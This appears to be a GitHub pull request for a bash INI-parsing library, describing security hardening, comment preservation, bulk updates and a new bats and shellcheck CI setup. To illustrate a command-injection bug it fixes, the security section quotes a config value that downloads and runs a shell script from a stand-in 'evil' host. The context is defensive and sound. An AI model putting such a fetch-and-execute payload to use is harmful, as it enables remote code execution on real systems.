Harden FlexIni core, preserve comments on save, add bulk update, bats + shellcheck CI - #7
Merged
Merged
Conversation
… shellcheck CI - Fix command injection on load ($-expansion now opt-in via expand_values_on_load) and unsafe eval in get/update/delete/keys; keys/values now reach eval only as variable references - Fix dropped final line on files without trailing newline, errors leaking to stdout, broken reload error detection, empty-value keys reported missing by has, file permissions clobbered on save, and invalid array names from unsanitized ini ids - Preserve comments, blank lines, and key order on save; save_as copies inherit the original file's layout - Warn when an id is already loaded from a different file - Add flex_ini_update_bulk: validate-all-then-apply, single save with auto_save_on_changes - Reject keys with whitespace/'=' and values with newlines (corrupt round-trip) - Replace home-rolled test harness with 69-test bats-core suite; add pinned shellcheck job to CI; document everything in README + AGENTS.md/CLAUDE.md
A single argument after the ini id is now treated as the name of an associative array of key/value changes (previously an odd-count error, so no existing call changes meaning). The name is validated as a plain identifier before interpolation, and the function's locals are _flexini_-prefixed so dynamic scoping cannot shadow a caller's array.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
A full pass over the FlexIni core: security and correctness fixes, comment/layout preservation on save, a new bulk-update API, and a rebuilt test + CI setup (bats-core and shellcheck replace the home-rolled harness).
Security fixes
$were passed toeval, sopassword = $(curl evil | sh)executed on load. Expansion is now opt-in via the newexpand_values_on_loadsetting (defaultfalse, documented with a warning).get/update/delete/keys: keys/values with quotes, backticks, or$could execute code or corrupt state. All dynamic array access now passes keys and values toevalstrictly as variable references; regression tests feed$(...), backticks, quotes, and globs through every path.Correctness fixes
$(flex_ini_get ...)and breakingflex_ini_reload's error detection — now stderr, with the return code checkedflex_ini_hasreported keys with empty values as missingsave_as ""silently became a plain save;chown ":"on unknown OSes; uncheckedmktemp; temp-file leak on failed move=, values may not contain newlines (both corrupt the save/load round trip)Features
save_ascopies inherit the original's comments. Fresh files still produce fully alphabetized output.flex_ini_update_bulk <id> <key> <value> [...]: validates all pairs before applying anything (atomic), saves exactly once withauto_save_on_changes— the bulk feature the README previously described as planned.#comments, indented lines, missing-trailing-newline tolerance.Tests & CI
tests/*.bats), covering all prior test intent plus regression tests for every fix above! commandtest assertions (SC2314), nowrun !AGENTS.md/CLAUDE.mdagent guide covering the eval-safety rules, state model, and testing conventionsBehavior changes to be aware of
flex_ini_hasreturns 0 for empty-valued keys$-expansion in values is off by defaultkey = valuespacing on saveTest plan
bats tests— 69/69 pass locally (macOS, bash 5.2)shellcheck flex_ini.sh tests/test_helper.bash tests/*.bats— cleanbash -n flex_ini.sh